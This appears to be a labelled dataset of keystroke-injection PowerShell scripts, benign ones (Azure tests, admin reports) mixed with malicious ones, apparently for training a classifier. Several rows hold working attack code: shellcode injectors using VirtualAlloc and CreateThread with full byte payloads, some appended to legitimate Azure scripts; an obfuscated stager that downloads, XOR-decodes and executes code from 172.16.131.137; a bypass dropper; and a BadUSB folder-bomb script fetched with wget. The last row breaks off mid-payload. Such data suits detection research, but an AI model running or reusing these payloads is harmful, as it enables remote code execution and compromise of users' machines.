"win+r enter powershell enter enter enter function Set-SPOWebPermissions enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string]$groupname, enter enter [Parameter(Mandatory=$true, Position=2)] enter [string]$roleType enter ) enter enter process enter { enter Write-Host ""Creating permissions for the web for the group $groupname and role $roleType"" -foregroundcolor black -backgroundcolor yellow enter $web = $clientContext.Web enter $roleTypeObject = [Microsoft.SharePoint.Client.RoleType]$roleType enter $role = Get-SPORole $roleTypeObject enter $group = Get-SPOGroup $groupname enter $rdb = New-Object Microsoft.SharePoint.Client.RoleDefinitionBindingCollection($clientContext) enter $rdb.Add($role) enter $ra = $web.RoleAssignments.Add($group, $rdb) enter $clientContext.ExecuteQuery() enter enter Write-Host ""Succesfully created permissions"" -foregroundcolor black -backgroundcolor green enter } enter } enter enter",0,0,0.9998511,0.00014890904
"win+r powershell enter Describe ""Measure-Object"" -Tags ""CI"" { BeforeAll { $testObject = 1,3,4 $testO enter bject2 = 1..100 } It ""Should be able to be called without error"" { { Measure enter -Object | Out-Null } | Should -Not -Throw } It ""Should be able to call on pip enter ed input"" { { $testObject | Measure-Object } | Should -Not -Throw enter enter",1,1,0.0053441785,0.99465585
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_t2ertfv9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4115237e-05
"win+r powershell enter $xa = ""C:\ProgramData\WD"" New-Item $xa -ItemType Directory -Force Start-Sleep 2 enter $Content = @' Cmd.exe /c PowerShell -NoProfile -ExecutionPolicy Bypass -Comman enter d C:\ProgramData\WD\WD.PS1 '@ [IO.File]::WriteAllText(""C:\ProgramData\WD\WD.bat"" enter , $Content) $Content = @' enter enter",1,1,0.00055232993,0.99944764
win+r powershell enter param( $InputObject ) $InputObject $env:USERNAME enter enter,0,1,0.04358563,0.95641434
"win+r enter powershell enter enter enter function WaitforStatetoBeSucceded { enter param([string]$resourceGroupName, [string]$namespaceName, [string]$drConfigName) enter enter $createdDRConfig = Get-AzServiceBusGeoDRConfiguration -ResourceGroup $resourceGroupName -Namespace $namespaceName -Name $drConfigName enter enter while ($createdDRConfig.ProvisioningState -ne ""Succeeded"") { enter Wait-Seconds 10 enter $createdDRConfig = Get-AzServiceBusGeoDRConfiguration -ResourceGroup $resourceGroupName -Namespace $namespaceName -Name $drConfigName enter } enter enter return $createdDRConfig enter } enter function WaitforStatetoBeSucceded_namespace { enter param([string]$resourceGroupName, [string]$namespaceName) enter enter $Getnamespace = Get-AzServiceBusNamespace -ResourceGroup $resourceGroupName -NamespaceName $namespaceName enter enter while ($Getnamespace.ProvisioningState -ne ""Succeeded"") { enter Wait-Seconds 10 enter $Getnamespace = Get-AzServiceBusNamespace -ResourceGroup $resourceGroupName -NamespaceName $namespaceName enter } enter enter } enter function ServiceBusDRConfigurationTests { enter enter $location_south = ""South Central US"" enter $location_north = ""North Central US"" enter $resourceGroupName = getAssetName enter $namespaceName1 = getAssetName ""ServiceBus-Namespace-"" enter $namespaceName2 = getAssetName ""ServiceBus-Namespace-"" enter $drConfigName = getAssetName ""DRConfig-"" enter $authRuleName = getAssetName ""ServiceBus-Namespace-AuthorizationRule"" enter Write-Debug ""Create resource group"" enter Write-Debug "" Resource Group Name : $resourceGroupName"" enter New-AzResourceGroup -Name $resourceGroupName -Location $location_south -Force enter Write-Debug "" Create new ServiceBus namespace 1"" enter Write-Debug "" Namespace 1 name : $namespaceName1"" enter $result1 = New-AzServiceBusNamespace -ResourceGroup $resourceGroupName -NamespaceName $namespaceName1 -Location $location_south -SkuName Premium enter Assert-AreEqual $result1.Name $namespaceName1 enter Write-Debug "" Create new ServiceBus namespace 2"" enter Write-Debug "" Namespace 2 name : $namespaceName2"" enter $result2 = New-AzServiceBusNamespace -ResourceGroup $resourceGroupName -NamespaceName $namespaceName2 -Location $location_north -SkuName Premium enter Assert-AreEqual $result2.Name $namespaceName2 enter Write-Debug "" Get the created namespace within the resource group"" enter $createdNamespace1 = Get-AzServiceBusNamespace -ResourceGroup $resourceGroupName -NamespaceName $namespaceName1 enter enter Assert-AreEqual $createdNamespace1.Name $namespaceName1 ""Namespace created earlier is not found."" enter Write-Debug "" Get the created namespace within the resource group"" enter $createdNamespace2 = Get-AzServiceBusNamespace -ResourceGroup $resourceGroupName -NamespaceName $namespaceName2 enter enter Assert-AreEqual $createdNamespace2.Name $namespaceName2 ""Namespace created earlier is not found."" enter Write-Debug ""Create a Namespace Authorization Rule"" enter Write-Debug ""Auth Rule name : $authRuleName"" enter $result = New-AzServiceBusAuthorizationRule -ResourceGroup $resourceGroupName -Namespace $namespaceName1 -Name $authRuleName -Rights @(""Listen"", ""Send"") enter enter Assert-AreEqual $authRuleName $result.Name enter Assert-AreEqual 2 $result.Rights.Count enter Assert-True { $result.Rights -Contains ""Listen"" } enter Assert-True { $result.Rights -Contains ""Send"" } enter $checkNameResult = Test-AzServiceBusName -ResourceGroup $resourceGroupName -Namespace $namespaceName1 -AliasName $drConfigName enter Assert-True { $checkNameResult.NameAvailable } enter Write-Debug "" Create new DRConfiguration"" enter $result = New-AzServiceBusGeoDRConfiguration -ResourceGroupName $resourceGroupName -Namespace $namespaceName1 -Name $drConfigName -PartnerNamespace $createdNamespace2.Id enter $newDRConfig = WaitforStatetoBeSucceded $resourceGroupName $namespaceName1 $drConfigName enter Assert-AreEqual $newDRConfig.Role ""Primary"" enter Write-Debug ""Get Namespace Authorization Rule details"" enter Write-Debug ""Auth Rule name : $authRuleName"" enter $resultAuthRuleDR = Get-AzServiceBusAuthorizationRule -ResourceGroupName $resourceGroupName -Namespace $namespaceName1 -AliasName $drConfigName -Name $authRuleName enter enter Assert-AreEqual $authRuleName $resultAuthRuleDR.Name enter Assert-AreEqual 2 $resultAuthRuleDR.Rights.Count enter Assert-True { $resultAuthRuleDR.Rights -Contains ""Listen"" } enter Assert-True { $resultAuthRuleDR.Rights -Contains ""Send"" } enter Write-Debug ""Get namespace authorizationRules connectionStrings using DRConfiguration"" enter $DRnamespaceListKeys = Get-AzServiceBusKey -ResourceGroupName $resourceGroupName -Namespace $namespaceName1 -AliasName $drConfigName -Name $authRuleName enter enter Write-Debug "" Get the created DRConfiguration"" enter $createdDRConfig = Get-AzServiceBusGeoDRConfiguration -ResourceGroupName $resourceGroupName -Namespace $namespaceName1 -Name $drConfigName enter enter Assert-AreEqual $createdDRConfig.PartnerNamespace $createdNamespace2.Id ""DRConfig created earlier is not found."" enter enter Write-Debug "" Get the created DRConfiguration for Secondary Namespace"" enter $createdDRConfigSecondary = Get-AzServiceBusGeoDRConfiguration -ResourceGroupName $resourceGroupName -Namespace $namespaceName2 -Name $drConfigName enter Assert-AreEqual $createdDRConfigSecondary.Role ""Secondary"" enter Write-Debug "" Get all the created DRConfiguration"" enter $createdServiceBusDRConfigList = Get-AzServiceBusGeoDRConfiguration -ResourceGroupName $resourceGroupName -Namespace $namespaceName1 enter Assert-AreEqual $createdServiceBusDRConfigList.Count 1 ""ServiceBus DRConfig created earlier is not found in list"" enter Write-Debug ""BreakPairing on Primary Namespace"" enter Set-AzServiceBusGeoDRConfigurationBreakPair -ResourceGroupName $resourceGroupName -Namespace $namespaceName1 -Name $drConfigName enter $breakPairingDRConfig = WaitforStatetoBeSucceded $resourceGroupName $namespaceName1 $drConfigName enter Assert-AreEqual $breakPairingDRConfig.Role ""PrimaryNotReplicating"" enter Write-Debug "" Create new DRConfiguration"" enter $DRresult = New-AzServiceBusGeoDRConfiguration -ResourceGroupName $resourceGroupName -Namespace $namespaceName1 -Name $drConfigName -PartnerNamespace $createdNamespace2.Id enter $UpdateDRConfig = WaitforStatetoBeSucceded $resourceGroupName $namespaceName1 $drConfigName enter Assert-AreEqual $UpdateDRConfig.Role ""Primary"" enter Write-Debug ""BreakPairing on Primary Namespace"" enter Set-AzServiceBusGeoDRConfigurationBreakPair -InputObject $DRresult enter $breakPairingDRConfig = WaitforStatetoBeSucceded $resourceGroupName $namespaceName1 $drConfigName enter Assert-AreEqual $breakPairingDRConfig.Role ""PrimaryNotReplicating"" enter Write-Debug "" Create new DRConfiguration"" enter $DRBreakPair_withInputObject = New-AzServiceBusGeoDRConfiguration -ResourceGroupName $resourceGroupName -Namespace $namespaceName1 -Name $drConfigName -PartnerNamespace $createdNamespace2.Id enter $UpdateDRConfig = WaitforStatetoBeSucceded $resourceGroupName $namespaceName1 $drConfigName enter Assert-AreEqual $UpdateDRConfig.Role ""Primary"" enter Write-Debug ""FailOver on Secondary Namespace"" enter Set-AzServiceBusGeoDRConfigurationFailOver -ResourceGroupName $resourceGroupName -Namespace $namespaceName2 -Name $drConfigName enter $failoverDrConfiguration = WaitforStatetoBeSucceded $resourceGroupName $namespaceName2 $drConfigName enter Assert-AreEqual $failoverDrConfiguration.Role ""PrimaryNotReplicating"" enter Assert-AreEqual $failoverDrConfiguration.PartnerNamespace """" ""FaileOver: PartnerNamespace exists"" enter Write-Debug "" Create new DRConfiguration"" enter $DRFailOver_withInputObject = New-AzServiceBusGeoDRConfiguration -ResourceGroupName $resourceGroupName -Namespace $namespaceName2 -Name $drConfigName -PartnerNamespace $createdNamespace1.Id enter $UpdateDRConfig = WaitforStatetoBeSucceded $resourceGroupName $namespaceName2 $drConfigName enter Assert-AreEqual $UpdateDRConfig.Role ""Primary"" enter enter $DRFailOver_withInputObject = Get-AzServiceBusGeoDRConfiguration -ResourceGroupName $resourceGroupName -Namespace $namespaceName1 -Name $drConfigName enter Write-Debug ""FailOver on Primary Namespace"" enter Set-AzServiceBusGeoDRConfigurationFailOver -InputObject $DRFailOver_withInputObject enter $failoverDRConfig = WaitforStatetoBeSucceded $resourceGroupName $namespaceName1 $drConfigName enter Assert-AreEqual $failoverDRConfig.Role ""PrimaryNotReplicating"" enter Remove-AzServiceBusGeoDRConfiguration -ResourceGroupName $resourceGroupName -Namespace $namespaceName1 -Name $drConfigName enter Wait-Seconds 120 enter Write-Debug "" Get all the created GeoDRConfiguration"" enter $createdServiceBusDRConfigList_delete = Get-AzServiceBusGeoDRConfiguration -ResourceGroup $resourceGroupName -Namespace $namespaceName1 enter Assert-AreEqual $createdServiceBusDRConfigList_delete.Count 0 ""DR Config List: after delete the DRCoinfig was listed"" enter WaitforStatetoBeSucceded_namespace $resourceGroupName $namespaceName1 enter enter Write-Debug "" Delete namespaces"" enter Remove-AzServiceBusNamespace -ResourceGroupName $resourceGroupName -Name $namespaceName1 enter WaitforStatetoBeSucceded_namespace $resourceGroupName $namespaceName2 enter enter Write-Debug "" Delete namespaces"" enter Remove-AzServiceBusNamespace -ResourceGroupName $resourceGroupName -Name $namespaceName2 enter enter Write-Debug "" Delete resourcegroup"" enter Remove-AzResourceGroup -Name $resourceGroupName -Force enter } enter enter",0,0,0.999949,5.1026283e-05
"win+r powershell enter Param( [Parameter(Mandatory = $false, HelpMessage=""Identifier of the Azure su enter bscription to be used. Default subscription will be used if not specified."")] [ enter ValidateNotNullOrEmpty()] [string]$subscriptionId, [Parameter(Mandatory = $tr enter ue, HelpMessage=""Name of the resource group to which the KeyVault belongs to. enter A new resource group with this name will be created if one doesn't exist"")] [Va enter lidateNotNullOrEmpty()] [string]$resourceGroupName, [Parameter(Mandatory = $t enter rue, enter enter",1,1,0.004958647,0.99504143
"win+r powershell enter $myEndpoint = ""<your-endpoint-URL>"" enter $myResourceGroup = ""<resource-group-name>"" enter $nsgName = ""<your-nsg-name>"" enter New-AzResourceGroup -Name $myResourceGroup -Location westus2 enter New-AzNetworkSecurityGroup -Name $nsgName -ResourceGroupName $myResourceGroup -Location westus2 enter $resourceId = (Get-AzResource -ResourceName $nsgName -ResourceGroupName $myResourceGroup).ResourceId enter New-AzEventGridSubscription ` enter -Endpoint $myEndpoint ` enter -EventSubscriptionName demoSubscriptionToResourceGroup ` enter -ResourceGroupName $myResourceGroup ` enter -SubjectBeginsWith $resourceId enter $Lo79 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Lo79 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xc2,0xbb,0xb6,0x41,0xc1,0x2b,0xd9,0x74,0x24,0xf4,0x58,0x33,0xc9,0xb1,0x47,0x83,0xc0,0x04,0x31,0x58,0x14,0x03,0x58,0xa2,0xa3,0x34,0xd7,0x22,0xa1,0xb7,0x28,0xb2,0xc6,0x3e,0xcd,0x83,0xc6,0x25,0x85,0xb3,0xf6,0x2e,0xcb,0x3f,0x7c,0x62,0xf8,0xb4,0xf0,0xab,0x0f,0x7d,0xbe,0x8d,0x3e,0x7e,0x93,0xee,0x21,0xfc,0xee,0x22,0x82,0x3d,0x21,0x37,0xc3,0x7a,0x5c,0xba,0x91,0xd3,0x2a,0x69,0x06,0x50,0x66,0xb2,0xad,0x2a,0x66,0xb2,0x52,0xfa,0x89,0x93,0xc4,0x71,0xd0,0x33,0xe6,0x56,0x68,0x7a,0xf0,0xbb,0x55,0x34,0x8b,0x0f,0x21,0xc7,0x5d,0x5e,0xca,0x64,0xa0,0x6f,0x39,0x74,0xe4,0x57,0xa2,0x03,0x1c,0xa4,0x5f,0x14,0xdb,0xd7,0xbb,0x91,0xf8,0x7f,0x4f,0x01,0x25,0x7e,0x9c,0xd4,0xae,0x8c,0x69,0x92,0xe9,0x90,0x6c,0x77,0x82,0xac,0xe5,0x76,0x45,0x25,0xbd,0x5c,0x41,0x6e,0x65,0xfc,0xd0,0xca,0xc8,0x01,0x02,0xb5,0xb5,0xa7,0x48,0x5b,0xa1,0xd5,0x12,0x33,0x06,0xd4,0xac,0xc3,0x00,0x6f,0xde,0xf1,0x8f,0xdb,0x48,0xb9,0x58,0xc2,0x8f,0xbe,0x72,0xb2,0x00,0x41,0x7d,0xc3,0x09,0x85,0x29,0x93,0x21,0x2c,0x52,0x78,0xb2,0xd1,0x87,0x15,0xb7,0x45,0xe8,0x42,0xb6,0x9c,0x80,0x90,0xb9,0x9f,0xeb,0x1c,0x5f,0xcf,0x5b,0x4f,0xf0,0xaf,0x0b,0x2f,0xa0,0x47,0x46,0xa0,0x9f,0x77,0x69,0x6a,0x88,0x1d,0x86,0xc3,0xe0,0x89,0x3f,0x4e,0x7a,0x28,0xbf,0x44,0x06,0x6a,0x4b,0x6b,0xf6,0x24,0xbc,0x06,0xe4,0xd0,0x4c,0x5d,0x56,0x76,0x52,0x4b,0xfd,0x76,0xc6,0x70,0x54,0x21,0x7e,0x7b,0x81,0x05,0x21,0x84,0xe4,0x1e,0xe8,0x10,0x47,0x48,0x15,0xf5,0x47,0x88,0x43,0x9f,0x47,0xe0,0x33,0xfb,0x1b,0x15,0x3c,0xd6,0x0f,0x86,0xa9,0xd9,0x79,0x7b,0x79,0xb2,0x87,0xa2,0x4d,0x1d,0x77,0x81,0x4f,0x61,0xae,0xef,0x25,0x8b,0x72;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$8sO=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($8sO.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$8sO,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.1832063e-05,0.99994814
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xd7,0xd9,0x74,0x24,0xf4,0x5f,0x31,0xc9,0xbb,0x7b,0xab,0x7d,0xc8,0xb1,0x47,0x31,0x5f,0x18,0x03,0x5f,0x18,0x83,0xef,0x87,0x49,0x88,0x34,0x9f,0x0c,0x73,0xc5,0x5f,0x71,0xfd,0x20,0x6e,0xb1,0x99,0x21,0xc0,0x01,0xe9,0x64,0xec,0xea,0xbf,0x9c,0x67,0x9e,0x17,0x92,0xc0,0x15,0x4e,0x9d,0xd1,0x06,0xb2,0xbc,0x51,0x55,0xe7,0x1e,0x68,0x96,0xfa,0x5f,0xad,0xcb,0xf7,0x32,0x66,0x87,0xaa,0xa2,0x03,0xdd,0x76,0x48,0x5f,0xf3,0xfe,0xad,0x17,0xf2,0x2f,0x60,0x2c,0xad,0xef,0x82,0xe1,0xc5,0xb9,0x9c,0xe6,0xe0,0x70,0x16,0xdc,0x9f,0x82,0xfe,0x2d,0x5f,0x28,0x3f,0x82,0x92,0x30,0x07,0x24,0x4d,0x47,0x71,0x57,0xf0,0x50,0x46,0x2a,0x2e,0xd4,0x5d,0x8c,0xa5,0x4e,0xba,0x2d,0x69,0x08,0x49,0x21,0xc6,0x5e,0x15,0x25,0xd9,0xb3,0x2d,0x51,0x52,0x32,0xe2,0xd0,0x20,0x11,0x26,0xb9,0xf3,0x38,0x7f,0x67,0x55,0x44,0x9f,0xc8,0x0a,0xe0,0xeb,0xe4,0x5f,0x99,0xb1,0x60,0x93,0x90,0x49,0x70,0xbb,0xa3,0x3a,0x42,0x64,0x18,0xd5,0xee,0xed,0x86,0x22,0x11,0xc4,0x7f,0xbc,0xec,0xe7,0x7f,0x94,0x2a,0xb3,0x2f,0x8e,0x9b,0xbc,0xbb,0x4e,0x24,0x69,0x51,0x4a,0xb2,0xfb,0xcf,0x93,0x99,0x94,0x0d,0x1c,0x1c,0xde,0x9b,0xfa,0x4e,0x70,0xcc,0x52,0x2e,0x20,0xac,0x02,0xc6,0x2a,0x23,0x7c,0xf6,0x54,0xe9,0x15,0x9c,0xba,0x44,0x4d,0x08,0x22,0xcd,0x05,0xa9,0xab,0xdb,0x63,0xe9,0x20,0xe8,0x94,0xa7,0xc0,0x85,0x86,0x5f,0x21,0xd0,0xf5,0xc9,0x3e,0xce,0x90,0xf5,0xaa,0xf5,0x32,0xa2,0x42,0xf4,0x63,0x84,0xcc,0x07,0x46,0x9f,0xc5,0x9d,0x29,0xf7,0x29,0x72,0xaa,0x07,0x7c,0x18,0xaa,0x6f,0xd8,0x78,0xf9,0x8a,0x27,0x55,0x6d,0x07,0xb2,0x56,0xc4,0xf4,0x15,0x3f,0xea,0x23,0x51,0xe0,0x15,0x06,0x63,0xdc,0xc3,0x6e,0x11,0x0c,0xd0;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.2057054e-05,0.9999479
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_7qzurcha"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_150.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 20 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_20.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4671957e-05
"win+r enter powershell enter enter enter function About { enter enter [PoshBot.BotCommand( enter Permissions = 'view' enter )] enter [cmdletbinding()] enter param( enter [parameter(Mandatory)] enter $Bot enter ) enter enter $path = ""$PSScriptRoot/../../../PoshBot.psd1"" enter $manifest = Import-PowerShellDataFile -Path $path enter $ver = $manifest.ModuleVersion enter enter $msg = @"" enter PoshBot v$ver enter $($manifest.CopyRight) enter enter https://github.com/poshbotio/PoshBot enter ""@ enter enter New-PoshBotTextResponse -Text $msg -AsCode enter } enter enter",0,0,0.99991274,8.7309214e-05
"DUCKY_REAL_BEGIN enter REM Title: Folder Bomb Tux style enter REM Author: FalsePhilosopher enter REM Target: Unix-like tested on kubuntu 22.04. enter REM Props: Hak5, PauloVicente89 for the py script I modified for linux and memes enter REM Version: 1.0 enter REM Category: Prank enter REM Launches a terminal, background wgets the py script and runs it. It created about 100k folders in about 5 seconds from my testing. enter REM enter DELAY 300 enter REM Minimize all windows as that ensures launch happens smoother. enter WINDOWS d enter DELAY 300 enter CTRL-ALT t enter DELAY 2000 enter STRING nohup wget https://github.com/FalsePhilosopher/BadUSB-Playground/raw/main/Ducky/USBRubberducky/library/prank/Unix-like/Linux/Bombs/Folder_Bomb/PLTUX.py 2>/dev/null && python3 PLTUX.py 2>/dev/nu enter ENTER enter DELAY 500 enter ALT F4 enter DUCKY_REAL_END",1,1,6.106322e-05,0.99993896
"win+r enter powershell enter enter enter Param( enter [Parameter(Mandatory = $true, enter HelpMessage=""Name of the resource group to which the VM belongs to"")] enter [ValidateNotNullOrEmpty()] enter [string]$resourceGroupName, enter enter [Parameter(Mandatory = $true, enter HelpMessage=""Name of the VM"")] enter [ValidateNotNullOrEmpty()] enter [string]$vmName enter ) enter enter $VerbosePreference = ""Continue""; enter $ErrorActionPreference = ""Stop""; enter Write-Verbose ""Stopping VM resourceGroupName - $resourceGroupName , vmName - $vmName""; enter Stop-AzVM -Name $vmName -ResourceGroupName $resourceGroupName -Force -Verbose; enter Write-Verbose ""Successfully stopped VM""; enter $vm = Get-AzVm -ResourceGroupName $resourceGroupName -Name $vmName; enter $backupEncryptionSettings = $vm.StorageProfile.OsDisk.EncryptionSettings; enter Write-Verbose ""ClearEncryptionSettings: resourceGroupName - $resourceGroupName , vmName - $vmName""; enter Write-Verbose ""VM object encryption settings before clearing encryption settings: $vm.StorageProfile.OsDisk.EncryptionSettings""; enter $vm.StorageProfile.OsDisk.EncryptionSettings.Enabled = $false; enter $vm.StorageProfile.OsDisk.EncryptionSettings.DiskEncryptionKey = $null; enter $vm.StorageProfile.OsDisk.EncryptionSettings.KeyEncryptionKey = $null; enter Write-Verbose ""Cleared encryptionSettings: $vm.StorageProfile.OsDisk.EncryptionSettings""; enter Update-AzVM -VM $vm -ResourceGroupName $resourceGroupName -Verbose; enter Write-Verbose ""Successfully updated VM""; enter Start-AzVm -ResourceGroupName $resourceGroupName -Name $vmName -Verbose; enter Write-Verbose ""Successfully started VM""; enter enter $vm = Get-AzVm -ResourceGroupName $resourceGroupName -Name $vmName; enter Write-Verbose ""VM object encryption settings after clearing encryption settings: $vm.StorageProfile.OsDisk.EncryptionSettings""; enter enter $wc=NEW-OBJect SystEM.NET.WeBCLient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HEadeRS.ADd('User-Agent',$u);$WC.Proxy = [SYsTem.Net.WeBREqueSt]::DEfAultWebPROXY;$wc.PrOxY.CrEDEntials = [SYsTeM.NEt.CReDeNTIALCaCHe]::DEfauLTNetWOrkCREdentiALS;$K='5f4dcc3b5aa765d61d8327deb882cf99';$I=0;[ChAR[]]$b=([chaR[]]($WC.DOwNLOADSTriNG(""http://172.16.131.137:8080/index.asp"")))|%{$_-BXor$k[$I++%$K.LENgTH]};IEX ($B-joIn'') enter enter",1,1,5.6103636e-05,0.99994385
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_9uz6w9sh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Get-Service -Name ""*update*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.450361e-05
"win+r powershell enter $wc=NEW-OBJect SystEM.NET.WeBCLient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$wC.HEadeRS.ADd('User-Agent',$u);$WC.Proxy = [SYsT enter em.Net.WeBREqueSt]::DEfAultWebPROXY;$wc.PrOxY.CrEDEntials = [SYsTeM.NEt.CReDeNTI enter ALCaCHe]::DEfauLTNetWOrkCREdentiALS;$K='5f4dcc3b5aa765d61d8327deb882cf99';$I=0;[ enter ChAR[]]$b=([chaR[]]($WC.DOwNLOADSTriNG(""http://172.16.131.137:8080/index.asp""))) enter |%{$_-BXor$k[$I++%$K.LENgTH]};IEX ($B-joIn'') enter enter",1,1,5.6903034e-05,0.99994314
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install qbittorrent enter A enter enter,0,0,0.99995995,4.0027295e-05
"win+r enter powershell enter enter enter function Update-StringInFile enter { enter [CmdletBinding(SupportsShouldProcess=$true)] enter Param( enter [Parameter( enter Position=0, enter HelpMessage=""Folder where the files are stored (will search recursive)"")] enter [ValidateScript({ enter if(Test-Path -Path $_) enter { enter return $true enter } enter else enter { enter throw ""Enter a valid path!"" enter } enter })] enter [String]$Path = (Get-Location), enter enter [Parameter( enter Position=1, enter Mandatory=$true, enter HelpMessage=""String to find"")] enter [String]$Find, enter enter [Parameter( enter Position=2, enter Mandatory=$true, enter HelpMessage=""String to replace"")] enter [String]$Replace, enter enter [Parameter( enter Position=3, enter HelpMessage=""String must be case sensitive (Default=false)"")] enter [switch]$CaseSensitive=$false enter ) enter enter Begin{ enter enter } enter enter Process{ enter Write-Verbose -Message ""Binary files like (*.zip, *.exe, etc...) are ignored"" enter enter $Files = Get-ChildItem -Path $Path -Recurse | Where-Object { ($_.PSIsContainer -eq $false) -and ((Test-IsFileBinary -FilePath $_.FullName) -eq $false) } | Select-String -Pattern ([regex]::Escape($Find)) -CaseSensitive:$CaseSensitive | Group-Object Path enter enter Write-Verbose -Message ""Total files with string to replace found: $($Files.Count)"" enter foreach($File in $Files) enter { enter Write-Verbose -Message ""File:`t$($File.Name)"" enter Write-Verbose -Message ""Number of strings to replace in current file:`t$($File.Count)"" enter enter if($PSCmdlet.ShouldProcess($File.Name)) enter { enter try enter { enter enter if($CaseSensitive) enter { enter (Get-Content -Path $File.Name) -creplace [regex]::Escape($Find), $Replace | Set-Content -Path $File.Name -Force enter } enter else enter { enter (Get-Content -Path $File.Name) -replace [regex]::Escape($Find), $Replace | Set-Content -Path $File.Name -Force enter } enter } enter catch enter { enter Write-Error -Message ""$($_.Exception.Message)"" -Category InvalidData enter } enter } enter } enter } enter enter End{ enter enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 